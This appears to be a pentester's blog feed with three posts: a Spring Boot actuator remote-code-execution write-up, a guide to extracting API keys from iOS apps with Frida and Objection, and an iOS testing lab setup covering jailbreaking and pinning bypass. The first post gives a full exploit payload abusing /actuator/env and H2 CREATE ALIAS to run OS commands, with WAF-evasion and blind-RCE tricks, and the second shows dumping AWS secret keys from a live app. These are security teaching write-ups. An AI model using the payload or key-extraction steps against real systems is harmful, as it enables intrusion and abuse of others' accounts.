The Spring Boot framework is one of the most popular Java-based microservice frameworks that helps developers quickly and easily deploy Java applications. With its focus on developer-friendly tools and configurations, Spring Boot accelerates the development process.

However, these development defaults can become dangerous in the hands of inexperienced developers. My write-up expands on the work of Michal Stepankin, who researched ways to exploit exposed actuators in Spring Boot 1.x and achieve RCE via deserialization. I provide an updated RCE method via Spring Boot 2.x's default HikariCP database connection pool and a common Java development database, the H2 Database Engine. I also created a sample Spring Boot application based on Spring Boot's default tutorial application to demonstrate the exploit.

Let's begin with the final payload:

POST /actuator/env HTTP/1.1

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return;} throw new IllegalArgumentException(); }');CALL EXEC('curl');"}

The payload comprises of three different parts: the environment modification request to the /actuator/env endpoint, the CREATE ALIAS H2 SQL command, and of course the final OS command injection.

Act One: Exposed Actuators

Spring Boot Actuators creates several HTTP endpoints that allows a developer to easily monitor and manage an application. As Stepankin notes, Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers. For this exploit, the /actuator/env endpoint must be exposed. Developers only need to add management.endpoints.web.exposure.include=env (or worse, management.endpoints.web.exposure.include=*) to their configuration file to expose this.

The /actuator/env endpoint includes the GET and POST methods to retrieve and set the application's environment variables. The POST request uses the following format:

POST /actuator/env HTTP/1.1

{"name":"<NAME OF VARIABLE>","value":"<VALUE OF VARIABLE>"}

You can explore the list of environment variables for the application, which provide data about the execution context and system. However, only a few of these variables can be leveraged to change the app at runtime, and even fewer can be used to achieve code execution. Fortunately, Spring Boot 2.x uses the HikariCP database connection pool by default, which introduces one such variable.

Act Two: H2 CREATE ALIAS Command

HikariCP helps applications communicate with databases. According to its documentation, it accepts the connectionTestQuery configuration which defines the query that will be executed just before a connection is given to you from the pool to validate that the connection to the database is still alive. The matching Spring Boot environment variable is spring.datasource.hikari.connection-test-query. In short, whenever a new database connection is created, the value of spring.datasource.hikari.connection-test-query will be executed as an SQL query first. There are two ways to trigger a new database connection – either by restarting the app with a request to POST /actuator/restart or changing the number of database connections and initializing it by making multiple requests to the application.

This is already pretty serious – you can run arbitrary SQL queries and drop the database if you want. However, let's escalate this further and look into the H2 Database Engine, one of the most popular Java development databases. Think of it as a Java-based SQLite, but extremely easy to integrate into Spring Boot. It only requires one dependency. As such, it's commonly used in Spring Boot development.

Matheus Bernardes highlighted an important SQL command included in H2: CREATE ALIAS. Similar to PostgreSQL's User-Defined Functions, you can define a Java function corresponding to the alias and subsequently call it in an SQL query like you would a function.

CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

Of course, you can use Java's Runtime.getRuntime().exec function, which allows you to execute OS commands directly.

Act Three: Command Injection against WAFs and Limited Execution Contexts

At this point, you might come up against common WAF filters especially with juicy strings like exec() and so on. However, one advantage of such a nested payload is that you can easily find bypasses using various string concatenation techniques. RIPStech's Johannes Moritz demonstrates this by breaking up the query using the CONCAT and HEXTORAW commands:

CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
CALL EXEC('whoami');

Another challenge is that you might be executing code in an extremely limited context. The application might be running in a Dockerized instance without internet access and with limited commands available; Alpine Linux, the most common Linux distribution in Docker, doesn't even have Bash. Additionally, the exec() function executes raw OS commands rather than in a shell, removing helpful tools like boolean comparisons, pipes, and redirections.

Here, it helps to zoom out a little and approach the payload in a holistic manner. Remember that the point of spring.datasource.hikari.connection-test-query is to validate whether the connection to the database is still alive. If the query fails, the application will believe that the database is not reachable and no longer return other database queries. An attacker can leverage this to get a blind RCE where instead of a command like curl, they run grep root /etc/passwd. This returns output (since /etc/passwd does include the root string) and thus the query succeeds. The application continues to function normally. If they run grep nonexistent /etc/passwd, the command returns no output, the Java code throws an error, and the query fails, causing the app to fail.

String shellexec(String cmd) throws {
 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
 if (s.hasNext()) {
  return;  // OS command returns output; return output and SQL query succeeds
 throw new IllegalArgumentException(); // OS command fails to return output; throw exception and SQL query fails

This is an interesting way to tie together the three components of the payload to still prove code execution within a limited context. Many thanks to Ian Bouchard for pointing out the possibilities for a blind RCE.

Hopefully, you don't have to deal with that and can get a simple curl pingback instead, like my example vulnerable Spring Boot application.

Burp Collaborator

Conclusion: Dangerous Development Defaults

By exposing the /actuator/env and /actuator/restart endpoints – pretty common in a development setting – a developer puts their application at risk of remote code execution. Of course, this wouldn't be a problem if the application is run locally, but it's not a stretch to imagine a careless developer putting it on a public IP during proptyping.

A common theme running through this write-up and the associated write-ups is that developers can easily introduce severe vulnerabilities in their code without knowing it. Actuators and the H2 database are useful tools to speed up development and prototyping, but exposing them creates a remote code execution vulnerability by default.

#springboot #pentest #cybersecurity #h2 #java


Diving straight into reverse-engineering iOS apps can be daunting and time-consuming. While wading into the binary can pay off greatly in the long run, it's also useful to start off with the easy wins, especially when you have limited time and resources. One such easy win is hunting login credentials and API keys in iOS applications.

Most iOS applications use third-party APIs and SDKs such as Twitter, Amazon Web Services, and so on. Interacting with these APIs require API keys which are used (and thus stored) in the app itself. A careless developer could easily leak keys with too many privileges or keys that were never meant to be stored on the client-side in the first place.

What makes finding them an easy win? As described by top iOS developer Mattt Thompson:

There’s no way to secure secrets stored on the client. Once someone can run your software on their own device, it’s game over.

And maintaining a secure, closed communications channel between client and server incurs an immense amount of operational complexity — assuming it’s possible in the first place.

He also tells us that:

Another paper published in 2018 found SDK credential misuse in 68 out of a sample of 100 popular iOS apps. (Wen, Li, Zhang, & Gu, 2018)

Until APIs and developers come round to the fact that client secrets are insecure by design, there will always be these low-hanging vulnerabilities in iOS apps.


Mattt Thompson shared three ways developers can (insecurely) store client secrets in their apps:

  1. Hard-code secrets in source code
  2. Store secrets in Info.plist
  3. Obfuscate secrets using code generation

For the first two methods, we can simply expose these secrets using static analysis and grepping through the decrypted app files as covered by Ivan Rodriguez. For obfuscated secrets, we can short-circuit the obfuscation and save ourselves hours of reverse-engineering through the magic of Frida's dynamic analysis. This was how I extracted AWS client and secret keys for a bug bounty program.

The following walkthrough assume that you have set up your iOS testing environment according to my iOS app pentesting quickstart post.

Static Analysis

Static analysis begins with extracting your target .ipa file. Make sure that you have installed iproxy and frida-ios-dump.

  1. In one terminal, run iproxy 2222 22
  2. Open the target app on your iDevice
  3. In another terminal, run ./ <APP DISPLAY NAME OR BUNDLE IDENTIFIER>
  4. You should now have a <APPNAME>.ipa file in your current directory
  5. mv <APPNAME>.ipa <APPNAME>.zip
  6. unzip <APPNAME>.zip
  7. The files are now unzipped to a Payload folder; open it up and check that an <APPNAME>.app file has been created (<APPNAME> might differ between the .ipa and .app files)
  8. mkdir AppFiles
  9. mv Payload/<APPNAME>.app/* AppFiles/

At this point, you should see a bunch of files in the AppFiles directory. While the files obviously differ from app to app, here are a few keys files to look into.

Info.plist and other *.plist files: Info.plist functions similarly to manifest.json for Android apps. It contains app metadata and can point out weaknesses or new attack surfaces such as custom scheme URLs. Of course, it can also contain stored credentials. You can use macOS' built-in plutil command to lay out the data nicely in JSON with plutil -p Info.plist.

Some plist files can be stored in binary rather than XML, which makes it harder to parse directly. Run plutil -convert xml1 Info.plist to convert them back to XML.

Quick tip: while GoogleService-Info.plist exists on many apps and includes an extremely juicy-looking API_KEY value, this is not a sensitive credential. It needs to be paired with a custom token to have any impact. Not all API keys are created equal; some have proper access controls and can be exposed without risk. Check out keyhacks to quickly identify and validate sensitive API keys.

You also want to begin grepping and parsing through the various files; grep "API_KEY" -r * or similar is a quick and dirty solution.

At this point, you should also poke at interesting files that hint at vulnerable functionality. Check html files (maybe an internal URL scheme vulnerable to DOM XSS?), templates, and third-party frameworks that could have known vulnerabilities.

With luck, you might walk away with a straightforward credential exposure.

Dynamic Analysis

Most times, it won't be that straightforward. Nevertheless, there are clues that might point you towards obfuscated credentials.

In one bug bounty program, I noticed that the app I was testing uploaded profile pictures to an S3 bucket, but the request was hidden from interception and the credentials were not stored in plaintext in the app files. Nevertheless, given that the upload was occurring, it was a safe bet to assume that credentials were being exchanged.

At this point, I could dive into the binary with Ghidra and attempt to walk through the obfuscated code to decrypt the credentials, but there is a way to short-circuit this whole process.

Think of it this way: at the end of the day, no matter how much obfuscation is used, the credentials need to be sent in plaintext (for insecure implementations) to the server. For that to happen, a method needs to be invoked somewhere in the code using these credentials.

This is where Frida and Objection comes in. You want to hook onto the method that makes that call, and dump the arguments to that method – which should hopefully be the credentials you are looking for.

First, you need to identify the method. Fire up Objection with objection --gadget <APPNAME> explore. Next, run ios hooking list classes to dump all available classes in the app. This is a huge list. Grep through the list and identify interesting classes. For example, I looked for the classes with AWS or Amazon in the name. As luck would have it, there was an AWSCredentials class, among other interesting class names.

Objection console

Next, you want to begin watching these classes. Run ios hooking watch class <CLASSNAME> in the Objection console for each class. Now, perform the action in the app where the potentially vulnerable credentials could be exposed. In this case, I performed the profile picture upload function in the app, which triggered the following response:

(agent) Watching method: - initKey:
(agent) Watching method: - initSDK:
(agent) Registering job gk6i5disc88. Type: watch-class-methods for: AWSCredentials
myApp on (iPhone: 13.1.2) [usb] # (agent) [gk6i5disc88] Called: [AWSS3Client initKey:] (Kind: instance) (Super: AWSClient)

Awesome. So it looks like Frida successfully hooked onto the AWSCredentials class which includes the initKey and initSDK methods. When I performed the profile picture upload, the initKey method was called.

Now, we want to dump the arguments passed into the initKey class method. In objection, run ios hooking watch method "-[AWSCredentials initKey:]" --dump-args. Note that the format here for the class method is "-[<CLASSNAME> <METHOD>:]". Once again, I performed the profile picture upload in the app.

(agent) [gk6i5disc88] Called: -[AWSCredentials initKey:] 1 argument(Kind: instance) (Super: NSObject)
(agent) [gk6i5disc88] Argument dump: [AWSCredentials initKey: <AWS CLIENT KEY>:<AWS SECRET KEY>]

Success! Using dynamic analysis, I exposed the AWS keys used by the application. Of course, this meant that the app was using an insecure communication protocol with S3 as there are credential-less ways of implementing S3 uploads.


Hunting for secrets in iOS apps is a low-effort, high-payoff task that can help ease you into pentesting an application. (Un)fortunately, secrets management remains a hard problem especially for less-experienced developers, and continues to crop up as a recurring vulnerability. It's easy to forget that credentials are still exposed even when compiled into an app binary.

#ios #pentest #cybersecurity #frida #aws


I wanted to get into mobile app pentesting. While it's relatively easy to get started on Android, it's harder to do so with iOS. For example, while Android has Android Virtual Device and a host of other third-party emulators, iOS only has a Xcode's iOS Simulator, which mimics the software environment of an iPhone and not the hardware. As such, iOS app pentesting requires an actual OS device.

Moreover, it's a major hassle to do even basic things like bypassing SSL certificate pinning. Portswigger's Burp Suite Mobile Assistant needs to be installed onto a jailbroken device and only works on iOS 9 and below.

For the longest time, iOS pentesting guides recommended buying an old iPhone with deprecated iOS versions off eBay. More recent efforts like Yogendra Jaiswal's excellent guide are based on the Unc0ver jailbreak, which works on iOS 11.0-12.4. If you don't have an iDevice in that range, you're out of luck.

Fortunately, with the release off the checkra1n jailbreak, A5-A11 iPhone, iPad and iPods on the latest iOS can now be jailbroken. Many iOS app pentesting tools, having lain dormant during the long winter of jailbreaking, are now catching up and new tools are also being released.

As such, I'm writing quickstart guide for iOS app pentesting on modern devices with the checkra1n jailbreak and consolidating different tools' setup guides in one place. I will follow up with a post on bugs I've found on iOS apps using the tools installed here.



Let's start with the basics. You need an A5-A11 iDevice, preferably an iPhone. I used an iPhone 8. Thanks to checkra1n, you don't really have to worry about the iOS version; as of now, it supports the latest iOS 13.3.

Unfortunately, checkra1n requires a macOS device for now, but Windows and Linux support is in the works.


Warning: Jailbreaking your iDevice significantly weakens your security posture. You should not be doing this on your primary device. In fact, you should not use the jailbroken device for anything other than pentesting.

Take note that checkra1n is a semi-tethered jailbreak; every time you restart the iPhone, the jailbreak is lost, so you have to do this again.

  1. Download the latest checkra1n jailbreak at
  2. Connect your iPhone to your macOS device and open checkra1n with Applications → Right click checkra1n → Open.
  3. Unlock your iPhone and click “Start” in checkra1n
  4. Follow the rest of the steps in checkra1n and restart as necessary


Congrats! You have a jailbroken iPhone. Let's get down to business.


This is super simple. On the jailbroken iPhone, open up the checkra1n app, then click “Cydia” in the “Install” section.

checkra1n app

Now you have Cydia and can install several packages that will help in your testing. More on that later.


While you can SSH into your iPhone over the wireless network, it's a lot faster and more reliable to do that over USB.

  1. brew install libusbmuxd
  2. iproxy 2222 22
  3. In another terminal, run ssh root@localhost -p 2222
  4. For the password, enter alpine
  5. You should now have an SSH session in your iPhone

One perk is that you can also transfer files to and from your iPhone over SFTP using a client like FileZilla. Just select the SFTP protocol, set your host to localhost and port to 2222.

FileZilla settings

Frida and Objection

It's time to install my two favorite mobile app testing tools, Frida and Objection. I won't go through in detail about their usage here, just the set up. Frida has an iOS guide I will refer to.

  1. On your macOS device, run pip3 install frida-tools
  2. On your iPhone, open Cydia and add Frida’s repository by going to Sources → Edit → Add and enter
  3. Go to Search → Enter Frida → Install
  4. Back on your macOS device, run pip3 install objection
  5. Finally, run objection --gadget "" explore to check that everything is integrated properly

Proxy Traffic and Bypass Cert Pinning

Proxying traffic through Burp Suite is fairly standard; follow the steps outlined in Yogendra Jaiswal's post.

  1. On Burp Suite, go to Proxy → Options → Proxy Listener → Add → Bind to port: 1337 → Bind to address : All interfaces (or select a Specific Address) → “OK”
  2. On your iPhone, Settings → Wi-Fi → Info → Configure Proxy → Manual → Set server and port to the ones from the previous step
  3. On your iPhone, go to http://burp → Click “CA Certificate” → Download profile → Settings → General → Profiles & Device Management → Portswigger CA → Install

Now traffic should be proxied through Burp – except for apps that utilize certificate pinning. Fortunately, the SSL Kill Switch 2 certificate pinning bypass tool was recently updated to support iOS 13.

  1. Make sure you have the following packages installed in Cydia: wget, Debian Packager, Cydia Substrate, PreferenceLoader
  2. Go to the SSL Kill Switch 2 release page and copy the link to the latest .deb release
  3. SSH into your iPhone (see the iProxy section above) and run wget <RELEASE URL FROM STEP 2>dpkg -i <DOWNLOADED PACKAGE NAME>killall -HUP SpringBoardrm <DOWNLOADED PACKAGE NAME>
  4. On your iPhone, go to Settings → SSL Kill Switch 2 (it should be at the bottom) → Disable Certificate Validation

SSL Kill Switch 2 settings

You should be good to go.

Bypass Jailbreak Detection

Jailbreak detection is annoying but solvable. Of all the packages that support iOS 13, I've found that the Liberty Lite Cydia module works the most consistently.

  1. On your iPhone, open Cydia and add module author Ryley Angus’ repository by going to Sources → Edit → Add and enter
  2. Go to Search → Enter Liberty Lite → Install
  3. Once installed, go to Settings → Liberty → Block Jailbreak Detection → Enable for the app you want to bypass

Kill and re-open your app. If it's still not bypassed, you can try other modules.

Liberty Lite settings

Dump App Files

Unlike Android apk files, iOS apps are stored as encrypted ipa files, preventing easy access and analysis. Having installed iproxy and Frida, we can use frida-ios-dump to do this at runtime.

  1. On your macOS device, git clone && cd frida-ios-dump
  2. sudo pip3 install -r requirements.txt --upgrade
  3. In another terminal, run iproxy 2222 22 if it's not already running
  4. To dump an app's file, ./ <APP DISPLAY NAME OR BUNDLE IDENTIFIER>

Typically, I like to symlink to my tools so it's easily accessible from my PATH with ln -s <ABSOLUTE PATH TO> /usr/local/bin/dump-ipa. Now whenever I want to dump an app I can use the dump-ipa command anywhere.


With this quickstart guide, you now have the basic tools set up to begin iOS app pentesting, from searching for secrets in the app files, to hooking classes, and of course testing the web API. Best of all, this is on modern iOS hardware and versions.

I hope this guide is helpful for those looking to set up their iOS testing labs. I will be following up with a writeup on several bugs I've found with these tools and hopefully point towards typical issues to look out for.

#ios #pentest #cybersecurity #frida #jailbreak

Enter your email to subscribe to updates.